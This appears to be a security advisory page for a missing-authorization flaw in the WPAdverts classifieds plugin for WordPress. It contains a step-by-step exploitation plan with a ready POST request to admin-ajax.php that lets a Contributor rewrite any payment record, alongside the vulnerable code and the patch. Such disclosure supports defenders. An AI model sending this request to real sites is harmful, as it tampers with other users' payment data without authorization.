WPAdverts – Classifieds Plugin <= 2.3.0 - Missing Authorization
Description
The WPAdverts – Classifieds Plugin plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-27092 ## 1. Vulnerability Summary The **WPAdverts – Classifieds Plugin** (versions <= 2.3.0) contains a missing authorization vulnerability in its Payments module. Specifically, the AJAX function `adext_payments_ajax_render` fails to implement any capability …
Show full research plan
Exploitation Research Plan - CVE-2026-27092
1. Vulnerability Summary
The WPAdverts – Classifieds Plugin (versions <= 2.3.0) contains a missing authorization vulnerability in its Payments module. Specifically, the AJAX function adext_payments_ajax_render fails to implement any capability checks (e.g., current_user_can) or ownership verification. This allows authenticated users with low-level privileges (Contributor and above) to modify the metadata and status of any adverts-payment post record by providing a valid payment_id.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
adext_payments_render - Vulnerable Function:
adext_payments_ajax_renderinaddons/payments/includes/ajax.php - Authentication: Authenticated (Contributor level and above). Note: While
wp_ajax_nopriv_is registered, the vulnerability description specifies Contributor+, likely due to the typical visibility ofpayment_idvalues. - Payload Parameters:
action:adext_payments_renderpayment_id: The ID of a targetadverts-paymentpost.gateway: A registered payment gateway name (e.g.,bank_transfer).form: An array of payment data (e.g.,adverts_person,adverts_email).
3. Code Flow
- Entry Point: The plugin registers the AJAX action in
addons/payments/includes/ajax.php:add_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render'); - Input Processing:
adext_payments_ajax_render()retrieves thepayment_idandgatewayfrom the$_REQUEST. - Missing Authorization: The function proceeds directly to process the payment update without checking if the current user owns the payment or has
edit_postscapabilities for theadverts-paymentpost type. - Modification: The code executes
wp_update_postand severalupdate_post_metacalls:wp_update_post( array( 'ID' => $payment_id, 'post_title' => $form->get_value( "adverts_person" ), 'post_status' => 'pending' // Forces status change ) ); update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') ); update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') ); - Result: Any
adverts-paymentrecord can be modified by an unauthorized user.
4. Nonce Acquisition Strategy
Review of addons/payments/includes/ajax.php and addons/payments/assets/js/payments.js confirms that no nonce check is implemented for the adext_payments_render action. The PHP function does not call check_ajax_referer or wp_verify_nonce. Therefore, no nonce acquisition is required for exploitation.
5. Test Data Setup
- Activate Payments: Ensure the "Payments" module is enabled in WPAdverts settings.
- Create Pricing: Ensure at least one pricing exists (e.g., "Premium").
- Create a Target Payment:
- As an Admin, create a new
adverts-paymentpost (via WP-CLI or UI). - Set the initial status to
completedorfailed. - Set initial meta:
adverts_person= "Original Buyer",adverts_email= "original@example.com". - Record the
payment_id.
- As an Admin, create a new
- Create Attacker User: Create a user with the Contributor role.
6. Exploitation Strategy
The goal is to modify a payment record owned by another user (the Admin) using the Contributor account.
- Authentication: Log in as the Contributor user.
- Request: Use the
http_requesttool to send a POST request toadmin-ajax.php. - Payload:
action=adext_payments_rendergateway=bank_transfer(The most common default gateway in WPAdverts)payment_id=[TARGET_PAYMENT_ID]form[0][name]=adverts_personform[0][value]=Attacker Managedform[1][name]=adverts_emailform[1][value]=attacker@example.com
HTTP Request Details:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=adext_payments_render&gateway=bank_transfer&payment_id=[ID]&form%5B0%5D%5Bname%5D=adverts_person&form%5B0%5D%5Bvalue%5D=Attacker+Managed&form%5B1%5D%5Bname%5D=adverts_email&form%5B1%5D%5Bvalue%5D=attacker%40example.com
7. Expected Results
- The server should return a JSON response (likely
{"result": 1, ...}depending on the gateway'srendercallback). - The
adverts-paymentpost's status should change topending. - The post meta
adverts_personandadverts_emailshould be updated to the attacker's values.
8. Verification Steps
After the HTTP request, verify the database state using WP-CLI:
- Check Status:
wp post get [ID] --field=post_status- Expected:
pending
- Expected:
- Check Meta:
wp post meta list [ID] --keys=adverts_person,adverts_email- Expected:
adverts_personis "Attacker Managed" andadverts_emailis "attacker@example.com".
- Expected:
9. Alternative Approaches
If the bank_transfer gateway is not active, look for other registered gateways. You can identify active gateways by checking the adext_payments_config option or by visiting a page containing the [adverts_add] shortcode and inspecting the data-tab attributes on the payment tabs (see addons/payments/templates/add-payment.php).
If the form validation fails, you may need to include additional fields in the form array. Check addons/payments/includes/ajax.php: the function loads the form using $gateway["form"]["payment_form"]. If a gateway requires more fields (like a phone number or address), those must be included in the form parameter array to pass $form->validate().
Summary
The WPAdverts plugin for WordPress is vulnerable to unauthorized modification of payment records because the `adext_payments_ajax_render` function lacks ownership verification and nonce checks. This allows authenticated attackers with Contributor-level access to change the status and contact metadata (name and email) of any `adverts-payment` post by providing its ID.
Vulnerable Code
// addons/payments/includes/ajax.php:6-7 add_action('wp_ajax_adext_payments_render', 'adext_payments_ajax_render'); add_action('wp_ajax_nopriv_adext_payments_render', 'adext_payments_ajax_render'); // addons/payments/includes/ajax.php:23 function adext_payments_ajax_render() { $is_block = absint( adverts_request( "is_block" ) ); $gateway_name = adverts_request('gateway'); $gateway = adext_payment_gateway_get( $gateway_name ); $payment_id = absint( adverts_request( "payment_id" ) ); $listing_id = get_post_meta( $payment_id, "_adverts_pricing_id", true ); // ... (omitted form binding logic) if( isset( $data["bind" ] ) && !empty( $data["bind"] ) ) { $isValid = $form->validate(); if($isValid) { $price = get_post_meta( $payment_id, "_adverts_payment_total", true ); $data["price"] = $price; $data["form"] = $form->get_values(); $data["payment_id"] = $payment_id; wp_update_post( array( 'ID' => $payment_id, 'post_title' => $form->get_value( "adverts_person" ), 'post_status' => 'pending' ) ); update_post_meta( $payment_id, 'adverts_person', $form->get_value('adverts_person') ); update_post_meta( $payment_id, 'adverts_email', $form->get_value('adverts_email') ); update_post_meta( $payment_id, '_adverts_payment_gateway', $data["gateway_name"] ); $data = apply_filters("adverts_payments_order_create", $data); $response = call_user_func( $gateway["callback"]["render"], $data ); } } // ... }
Security Fix
@@ -27,7 +27,37 @@ $payment_id = absint( adverts_request( "payment_id" ) ); $listing_id = get_post_meta( $payment_id, "_adverts_pricing_id", true ); + $object_id = adverts_request( "object_id" ); + $nonce = sprintf( "adext-payment-%d-%d-%d", $payment_id, $listing_id, $object_id ); + + if( ! wp_verify_nonce( adverts_request( "nonce" ), $nonce ) ) { + echo json_encode([ + "result" => 0, + "html" => sprintf('<div>%s</div>', __("Incorrect user nonce.","wpadverts")), + "execute" => null + ]); + exit; + } + + if( get_post_type( $payment_id ) !== "adverts-payment" ) { + echo json_encode([ + "result" => 0, + "html" => sprintf('<div>%s</div>', __("Incorrect object type.","wpadverts")), + "execute" => null + ]); + exit; + } + + if( absint( get_post( $payment_id )->post_author ) !== absint( get_current_user_id() ) ) { + echo json_encode([ + "result" => 0, + "html" => sprintf('<div>%s</div>', __("You do not own this payment.","wpadverts")), + "execute" => null + ]); + exit; + } + $response = null; ... (truncated)
Exploit Outline
An attacker authenticated with at least Contributor-level privileges can modify any payment record by sending an un-nonced POST request to `/wp-admin/admin-ajax.php`. By setting the `action` parameter to `adext_payments_render` and providing a valid `payment_id` belonging to another user, the attacker can supply a `form` array containing keys like `adverts_person` and `adverts_email`. The vulnerable server-side function, `adext_payments_ajax_render`, will execute `wp_update_post` and `update_post_meta` to change the record's status to 'pending' and update its metadata with the attacker's values without performing any authorization or ownership checks.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.